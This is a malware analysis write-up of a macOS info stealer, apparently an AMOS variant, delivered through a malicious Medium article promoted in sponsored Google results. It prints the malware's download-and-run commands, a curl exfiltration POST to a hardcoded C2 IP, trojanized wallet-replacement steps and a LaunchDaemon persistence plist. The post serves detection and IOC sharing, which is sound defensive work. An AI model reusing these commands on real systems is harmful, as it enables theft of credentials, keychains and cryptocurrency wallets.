Skip to content

Analysis of a macOS Info Stealer

A packed macOS Mach-O binary (which is delivered via a malicious medium.com article) hides its malicious payload behind multiple layers of encryption, encoding, and obfuscation.

The binary contains four encrypted data blobs that, when decrypted at runtime, reveal an AppleScript-based info-stealer targeting browser credentials, cryptocurrency wallets, Apple Keychain data, and more. The stolen data is exfiltrated to two hardcoded C2 servers, and persistence is achieved through a LaunchDaemon masquerading as a Finder helper.

It appears to be a variant of the AMOS (Atomic macOS) stealer, based on the use of AppleScript, trojanized Ledger Live app replacement techniques, persistence, and other IOCs. As of writing this article, this specific sample does not exist on VirusTotal yet. Interestingly, previous versions of the AMOS Stealer seem to ask for the user's password upfront, whereas this variant requests the password once it gets to its Keychain access component.


macOS Info Stealer Being Advertised by Google's Top Sponsored Search Result

As of Feb. 8, 2026, if a user searches "how to clear space on mac" in Google, the top sponsored search result (the first clickable link in the results) is a malicious medium.com article that tells victims to run a simple terminal command.

sdr

Medium has been taking these posts down daily, but it seems that new ones pop up just as fast as they can take them down, and somehow get right back to the top on Google's sponsored search results just as quickly.

sdr

sdr

That command runs in four steps (base64 redacted for safety):

  1. Decodes and runs:
echo 'Installing package please wait...' && curl -kfsSL https://joeyapple.com/curl/1c4b8b474a...|zsh
  1. That curl command contains the following command:
#!/bin/zsh
cdb024=$(base64 -D <<'PAYLOAD_END' | gunzip
H4sIAJBhhmkC/12LQQqAIBAA771iI/AStodu/cZWwUBd0RWk19...
PAYLOAD_END
)
eval "$cdb024"
  1. Which runs:
curl -o /tmp/update https://octopox.com/cleaner3/upd*** && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

(end of URL redacted for safety)

That final command downloads and runs the malicious binary that contains the info stealer.


Info Stealer Overview

Key findings:

  • Exfil Servers: http://199.217.98.33 and http://38.244.158.56

  • Payload Delivery Domain: octopox.com (inital binary) and malext.com (serves trojanized wallet apps and persistence binaries)

  • Targets: 250+ browser extension IDs (crypto wallets), browser credentials, Apple Notes, Keychain, Telegram, desktop documents, and more

  • Persistence: LaunchDaemon com.finder.helper executing a hidden agent script

Sample:

Property Value
SHA-256 61a83957002f1a04bdae877b9c1bccd0a3a7fcb9ddafab56657f638db5a2e145
MD5 058867cfedb4a9220466f6c87112d831
Format Fat Mach-O (x86_64 + ARM64)
File size 6,993,240 bytes

Binary Structure

The sample is a universal (fat) Mach-O binary containing two architecture slices. The CAFEBABE magic at offset 0 reveals the fat header:

Architecture Offset Size
x86_64 0x1000 0x34DB50 (3,464,016 bytes)
ARM64 0x350000 0x35B558 (3,519,832 bytes)

Analysis was performed on the x86_64 slice using IDA Pro. The binary has a single entry point; the start() function at 0x100001150 (size 0x4D8 bytes). This orchestrates the entire unpacking and execution chain (there is no main() or _start wrapper; start() seems to be the direct entry point).

The binary stores its payloads across four encrypted blobs, each composed of five parallel DWORD arrays (tables) embedded directly in the __TEXT segment. No external files or network fetches are needed for decryption.

Between decryption stages, start() calls a PRNG state initialization routine (sub_100001870) that seems to seed a complex state machine (using std::chrono::steady_clock::now(), combined with the golden ratio constant 0x9E3779B97F4A7C15 and various xorshift/splitmix operations). This function doesn't seem to affect the decryption output; it appears to serve as a timing-based obfuscation layer to complicate static analysis and potentially detect or discourage debugging (timing anomalies).

Function Map

The binary contains a small set of tightly-coupled functions:

Address Name Purpose
0x100001150 start Entry point; orchestrates blob chain
0x100000E40 sub_100000E40 Decrypt Blob 1 (128 bytes, custom alphabet)
0x100001040 sub_100001040 Decrypt Blob 2 (4,120 bytes, sandbox check)
0x100000D30 sub_100000D30 Decrypt Blob 3 (167,804 bytes, stealer)
0x100000F50 sub_100000F50 Decrypt Blob 4 (60 bytes, cleanup)
0x100000AE0 sub_100000AE0 Hex string → binary decode
0x100000770 sub_100000770 Build base64 reverse-lookup from alphabet
0x100000890 sub_100000890 Custom base64 decode
0x100000C60 sub_100000C60 Hex lookup table initializer (lazy, guard-protected)
0x100001870 sub_100001870 PRNG state init (xorshift/splitmix, timing)

Decryption Algorithm

All four blobs use the same custom decryption scheme, implemented in four nearly identical functions (sub_100000E40, sub_100001040, sub_100000D30, sub_100000F50). Each blob has five tables:

Table Purpose
table_A Primary value (DWORD)
table_B Subtraction operand (DWORD)
table_rot Rotation amount (low byte of DWORD, masked to 3 bits)
table_xor XOR key (low byte of DWORD)
table_sub Final subtraction key (low byte of DWORD)

For each output byte at index i, the algorithm performs:

diff     = (table_A[i] - table_B[i]) & 0xFF
rot      = table_rot[i] & 7
rotated  = ROR8(diff, rot)                           // 8-bit rotate right
output   = (table_xor[i] ^ rotated) - table_sub[i]   // keep low byte

Blob Definitions

Blob Output Size Purpose
Blob 1 128 bytes Custom base64 alphabet (hex-encoded)
Blob 2 4,120 bytes Sandbox detection script (hex-encoded)
Blob 3 167,804 bytes Main stealer payload (hex-encoded)
Blob 4 60 bytes Cleanup command (hex-encoded)

A full decryption script was written to implement the decryption algorithm, which is how the malware was analyzed further.


Post-Decryption Pipeline

After decryption, each blob goes through two additional decoding stages before execution:

Encrypted Tables ──▶ Decryption ──▶ Hex String ──▶ Hex Decode ──▶ Binary ──▶ Base64 Decode ──▶ Shell Command
                        ▲                                              ▲
                        │                                              │
                   5-table algo                                Custom alphabet
                                                              (from Blob 1)

Stage 1: Hex Decoding

Each decrypted blob produces a string of ASCII hex characters (0-9, a-f, A-F). Standard hex decoding converts every two characters into one byte, halving the data size.

Stage 2: Custom Base64 Decoding

Blob 1 decrypts to a 128-character hex string; hex-decoding that then yields a 64-character custom base64 alphabet:

NL3XgtOp&59Yf)0!IAdk_1K?j#E=*MsRuzcCQvD+7>UHhnla8B6omr-<S%PTWFy4

This alphabet replaces the standard A-Za-z0-9+/ mapping used in regular base64. The binary builds a reverse lookup table from this alphabet (via sub_100000770) and uses it to decode Blobs 2, 3, and 4 (via sub_100000890). The decoding algorithm itself is standard base64 (only the character-to-value mapping differs).


Execution Flow

The decompiled start() function at 0x100001150 reveals the precise chaining logic. Tracing through the decompilation:

// 0x1000011a6: Decrypt Blob 1 (custom alphabet)
sub_100000E40(v53);                        // Decrypt to 128 hex chars
sub_100000AE0(v48, v53);                   // Hex-decode to 64-byte alphabet

// 0x1000011d8: Decrypt Blob 2 (sandbox check)
sub_100001040(&v40);                       // Decrypt to 4120 hex chars
sub_100000AE0(v41, &v40);                  // Hex-decode
sub_100000770(v53, v48);                   // Build b64 lookup table from alphabet
sub_100000890(&v50, v41, v53);             // Base64-decode to shell command

// 0x1000012b7: Execute and gate on exit code
if ((system(v50) & 0xFF00) == 0) {         // WEXITSTATUS == 0?

    // 0x100001317: Decrypt Blob 3 (stealer payload)
    sub_100000D30(v53);                    // Decrypt to 167804 hex chars
    sub_100000AE0(v43, v53);               // Hex-decode
    sub_100000770(v53, v48);               // Rebuild b64 lookup
    sub_100000890(&v51, v43, v53);         // Base64-decode to v51

    // 0x1000013a4: Decrypt Blob 4 (cleanup)
    sub_100000F50(&v45);                   // Decrypt to 60 hex chars
    sub_100000AE0(v46, &v45);              // Hex-decode
    sub_100000770(v53, v48);               // Rebuild b64 lookup
    sub_100000890(&v52, v46, v53);         // Base64-decode to v52

    // 0x100001436: Execute Blob 4 FIRST, then Blob 3
    system(v52);                           // "disown; pkill Terminal"
    system(v51);                           // Info-stealer (62,926 bytes)
}

Approx. visualized execution flow:

start() @ 0x100001150
  │
  ├─ Decrypt Blob 1 ──▶ Hex-decode ──▶ 64-char custom base64 alphabet
  │
  ├─ Decrypt Blob 2 ──▶ Hex-decode ──▶ B64-decode ──▶ system()
  │                                                       │
  │                                              Sandbox detection
  │                                              Exit 0 = clean
  │                                              Exit 100 = VM detected
  │
  ├─ IF (system() & 0xFF00) == 0:
  │   │
  │   ├─ Decrypt Blob 3 ──▶ Hex-decode ──▶ B64-decode ──▶ (held in memory)
  │   │
  │   ├─ Decrypt Blob 4 ──▶ Hex-decode ──▶ B64-decode ──▶ system()  ← FIRST
  │   │                                                       │
  │   │                                              "disown; pkill Terminal"
  │   │
  │   └─ system(Blob 3)                                      ← SECOND
  │                                                  Info-stealer payload
  │
  └─ Cleanup: free all std::string allocations, return 0

The malware first detaches from the terminal and kills the Terminal.app window (disown; pkill Terminal), then launches the stealer payload. This ensures the AppleScript runs completely invisibly...so by the time the stealer begins exfiltrating data, there is no terminal window for the user to notice or close.

The exit code check (system(v13) & 0xFF00) == 0 seems to be the standard C method for extracting WEXITSTATUS from the system() return value; a successful sandbox check (no VM detected) returns exit code 0, which passes this gate. Any non-zero exit (like the sandbox detector's exit 100) causes the entire conditional block to be skipped, which would mean Blobs 3 and 4 are never decrypted or executed.


Blob 2 — Sandbox Detection

Format: osascript -e '...' (AppleScript)

Blob 2 contains the anti-analysis gate. It uses a character-code obfuscation technique to hide all of its strings at rest: a helper function (igvtwcjzyj) takes an array of integers and an offset, subtracting the offset from each integer and converting the result to an ASCII character.

After deobfuscation, the script:

  1. Runs system_profiler SPMemoryDataType and system_profiler SPHardwareDataType
  2. Checks the memory output against three VM indicators:
    • QEMU
    • VMware
    • KVM
  3. Checks the hardware output against five sandbox fingerprints:
    • Z31FHXYQ0J — known sandbox serial number
    • C07T508TG1J2 — known sandbox serial number
    • C02TM2ZBHX87 — known sandbox serial number
    • Chip: Unknown — indicator of emulated hardware
    • Intel Core 2 — legacy CPU common in analysis VMs
  4. If any indicator matches → exit 100 (abort)
  5. If all clear → exit 0 (proceed to payload)

The malware does not infect VM-based targets (if it detects them), most likely to avoid detection by automated sandboxes.


Blob 3 — The Info-Stealer

Format: osascript -e '...' (AppleScript)

Blob 3 is the primary payload; a massive AppleScript info-stealer. Like Blob 2, all strings are obfuscated using the same character-code subtraction pattern, this time through a function named pspmtqjrvcb. The script defines numerous helper functions for file operations, directory traversal, and data theft, then orchestrates comprehensive data collection.

Target 1: Browser Extension Data (250+ Wallet IDs)

The script opens with a property (ozewvffl) containing over 250 Chrome extension IDs. These are 32-character alphabetic strings corresponding to cryptocurrency wallet extensions (MetaMask, Phantom, Coinbase Wallet, and many others).

For each installed browser profile, the script:

  1. Enumerates Local Extension Settings/ and IndexedDB/ directories
  2. Matches folder names against the extension ID list
  3. Recursively copies matching extension data to a staging directory

Target 2: Browser Credentials and Cookies

The script targets all major Chromium-based and Firefox-based browsers:

Browser Data Path
Chrome Google/Chrome/
Brave BraveSoftware/Brave-Browser/
Edge Microsoft Edge/
Opera com.operasoftware.Opera/
Opera GX com.operasoftware.OperaGX/
Vivaldi Vivaldi/
Arc Arc/User Data/
CocCoc CocCoc/Browser/
Chromium Chromium/
Chrome Beta Google/Chrome Beta/
Chrome Canary Google/Chrome Canary
Chrome Dev Google/Chrome Dev/
Firefox Firefox/Profiles/
Waterfox Waterfox/Profiles/

For Chromium browsers, it collects: Cookies, Network/Cookies, Login Data, Web Data, History, Local Storage/leveldb/, and Local Extension Settings/.

For Firefox-based browsers, it collects: cookies.sqlite, formhistory.sqlite, key4.db, logins.json, places.sqlite, and IndexedDB storage.

Target 3: macOS Keychain and Chrome Safe Storage

The script attempts password-based authentication (dscl . authonly) to verify the user's password. If an empty password check fails, it presents a fake system dialog:

"Application wants to install helper"

"Required Application Helper. Please enter device password to continue."

This social-engineering dialog loops indefinitely until the user enters their password. Once captured, the password is used to:

  1. Extract the Chrome Safe Storage password via security find-generic-password -ga "Chrome"
  2. Access the user's login Keychain (Keychains/login.keychain-db)

Target 4: Desktop Cryptocurrency Wallets

The script targets 16 desktop wallet applications:

Wallet Data Path
Electrum ~/.electrum/wallets/
Coinomi Coinomi/wallets/
Exodus Exodus/
Atomic atomic/Local Storage/leveldb/
Wasabi ~/.walletwasabi/client/Wallets/
Ledger Live Ledger Live/
Monero ~/Monero/wallets/
Bitcoin Core Bitcoin/wallets/
Litecoin Core Litecoin/wallets/
Dash Core DashCore/wallets/
Electrum LTC ~/.electrum-ltc/wallets/
Electron Cash ~/.electron-cash/wallets/
Guarda Guarda/
Dogecoin Core Dogecoin/wallets/
Trezor Suite @trezor/suite-desktop/
Sparrow ~/.sparrow/wallets/
Binance Binance/app-store.json
TonKeeper @tonkeeper/desktop/config.json

Target 5: Other Sensitive Data

  • Apple Notes: Accesses the Notes app via AppleScript to enumerate all notes across all accounts, capturing creation dates and body content
  • Telegram: Copies Telegram Desktop/tdata/ and Telegram Data/ directories, specifically targeting key_datas and maps subdirectories
  • Safari: Steals Cookies.binarycookies and form autofill data
  • Desktop/Documents Files: Grabs files from Desktop and Documents matching sensitive extensions: doc, docx, wallet, keys, key, jpeg, jpg, png, kdbx (KeePass), seed, matching up to 30 MB total
  • OpenVPN: Copies OpenVPN Connect/profiles/
  • System Info: Runs system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType

Exfiltration

All collected data is staged in a temporary directory (/tmp/<random>/), compressed into a ZIP archive (/tmp/out.zip), and exfiltrated via HTTP POST to the C2 server:

curl --connect-timeout 120 --max-time 300 \
  -X POST \
  -H "user: <username>" \
  -H "BuildID: <build_id>" \
  -H "cl: <cl_value>" \
  -H "cn: <cn_value>" \
  -F "file=@/tmp/out.zip" \
  http://199.217.98.33/contact

The request includes identifying headers:

  • user — the macOS username ($USER)
  • BuildID — a hardcoded build identifier
  • cl and cn — additional tracking values (initially set to "0")

Two hardcoded build IDs are present:

  • 16JM-Zf8z8NeXhfArfypquTMJ/n7f7AAbzWMPBKv6sc=
  • csK/oPdKdq9aGSPyZuqM6J2HiwfDRnHM4NugKLTvgmM=

If the primary C2 fails after three retries (with 15-second delays), the script falls back to http://38.244.158.56.


Wallet Application Replacement

After exfiltration, the malware checks for installed hardware wallet applications and replaces them with trojanized versions:

Ledger Live:

curl https://malext.com/zxc/app.zip -o /tmp/app.zip
pkill "Ledger Wallet"
sudo rm -r /Applications/Ledger Wallet.app
ditto -x -k /tmp/app.zip /Applications

Trezor Suite:

curl https://malext.com/zxc/apptwo.zip -o /tmp/apptwo.zip
pkill "Trezor Suite"
sudo rm -r /Applications/Trezor Suite.app
ditto -x -k /tmp/apptwo.zip /Applications

Attempting to download these trojanized wallet files via a browser returned a 404; it seems they only respond with the .zip file if using curl, so I assume user-agent filtering is happening server side. Interestingly, apptwo.zip does not seem to exist on the server anymore, but app.zip was still there at the time of writing.

A marker file (/.logged) is written after replacement to prevent repeated replacement on subsequent runs.


Persistence

The malware establishes persistence through a LaunchDaemon:

  1. Downloads a persistence binary: curl -o ~/.mainhelper https://malext.com/zxc/kito && chmod +x ~/.mainhelper
  2. Writes a bash script to ~/.agent that loops forever, checking for active user sessions and executing ~/.mainhelper under the logged-in user's context
  3. Creates a LaunchDaemon plist at /Library/LaunchDaemons/com.finder.helper.plist configured with RunAtLoad and KeepAlive set to true
  4. Loads the daemon via launchctl load

The LaunchDaemon plist structure:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.finder.helper</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>~/.agent</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>

Blob 4 — Terminal Suppression

Command: disown; pkill Terminal

Despite being decrypted last, Blob 4 is executed first; before the stealer payload. disown detaches the process from the shell's job control, and pkill Terminal kills the Terminal.app window entirely. This two-step sequence ensures that by the time the massive Blob 3 stealer begins its data collection and exfiltration, there is no visible terminal window for the user to notice or interrupt.


Indicators of Compromise

Network

Indicator Type Context
199.217.98.33 IPv4 Primary C2 server (data exfiltration via /contact)
38.244.158.56 IPv4 Fallback C2 server
joeyapple.com Domain Initial malicious script delivery
octopox.com Domain Initial binary delivery
malext.com Domain Payload delivery (trojanized apps, persistence binary)
https://malext.com/zxc/app.zip URL Trojanized Ledger Live
https://malext.com/zxc/apptwo.zip URL Trojanized Trezor Suite
https://malext.com/zxc/kito URL Persistence binary

Host

Indicator Type Context
com.finder.helper LaunchDaemon Label Persistence mechanism
/Library/LaunchDaemons/com.finder.helper.plist File Path Persistence plist
~/.agent File Path Persistence bash script
~/.mainhelper File Path Downloaded persistence binary
~/.logged File Path Wallet replacement marker
~/.pass File Path Stolen password storage
~/.username File Path Stolen username storage
/tmp/out.zip File Path Staged exfiltration archive
/tmp/app.zip File Path Trojanized Ledger download
/tmp/apptwo.zip File Path Trojanized Trezor download
/tmp/starter File Path Temporary persistence installer

Sample Hashes

Algorithm Hash
SHA-256 61a83957002f1a04bdae877b9c1bccd0a3a7fcb9ddafab56657f638db5a2e145
MD5 058867cfedb4a9220466f6c87112d831

Tooling

The full decryption and decoding script written for analysis reads the encrypted tables directly from the fat Mach-O binary (using the slice offset 0x1000 and IDA base 0x100000000 to calculate file offsets), performs the 5-table decryption, hex-decodes, custom base64-decodes. Then, it saves all decoded shell commands (along with extracted URLs and deobfuscated AppleScript strings).

Further Analysis

The persistence mechanism involves a binary that I plan on analyzing in a follow-up post to this one.